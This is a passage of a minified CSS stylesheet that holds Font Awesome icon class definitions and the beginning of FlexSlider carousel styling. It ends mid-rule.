camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}@font-face{font-family:flexslider-icon;src:url(fonts/flexslider-icon.eot);src:url(fonts/flexslider-icon.eot?#iefix) format("embedded-opentype"),url(fonts/flexslider-icon.woff) format("woff"),url(fonts/flexslider-icon.ttf) format("truetype"),url(fonts/flexslider-icon.svg#flexslider-icon) format("svg");font-weight:400;font-style:normal}.flex-container a:hover,.flex-slider a:hover{outline:0}.flex-control-nav,.flex-direction-nav,.slides,.slides>li{margin:0;padding:0;list-style:none}.flex-pauseplay span{text-transform:capitalize}.flexslider{margin:0;padding:0}.flexslider .slides>li{display:none;-webkit-backface-visibility:hidden}.flexslider .slides img{width:100%;display:block}.flexslider .slides:after{content:"\0020";display:block;clear:both;visibility:hidden;line-height:0;height:0}html[xmlns] .flexslider .slides{display:block}* html .flexslider .slides{height:1%}.no-js .flexslider .slides>li:first-child{display:block}.flexslider{margin:0 0 60px;background:#fff;border:4px solid #fff;position:relative;zoom:1;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:"" 0 1px 4px #0003;-moz-box-shadow:"" 0 1px 4px #0003;-o-box-shadow:"" 0 1px 4px #0003;box-shadow:"" 0 1px 4px #0003}.flexslider .slides{zoom:1}.flexslider .slides img{height:auto;-moz-user-select:none}.flex-viewport{max-height:2e3px;-webkit-transition:all 1s ease;-moz-transition:all 1s ease;-ms-transition:all 1s ease;-o-transition:all 1s ease;transition:all 1s ease}.loading .flex-viewport{max-height:300px}@-moz-document url-prefix(){.loading .flex-viewport{max-height:none}}.carousel li{margin-right:5px}.flex-direction-nav a{text-decoration:none;display:block;width:40px;height:40px;margin:-20px 0 0;position:absolute;top:50%;z-index:10;overflow:hidden;opacity:0;cursor:pointer;color:#000c;text-shadow:1px 1px 0 #ffffff4d;-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-ms-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.flex-direction-nav a:before{font-family:flexslider-icon;font-size:40px;display:inline-block;content:'\f001';color:#000c;text-shadow:1px 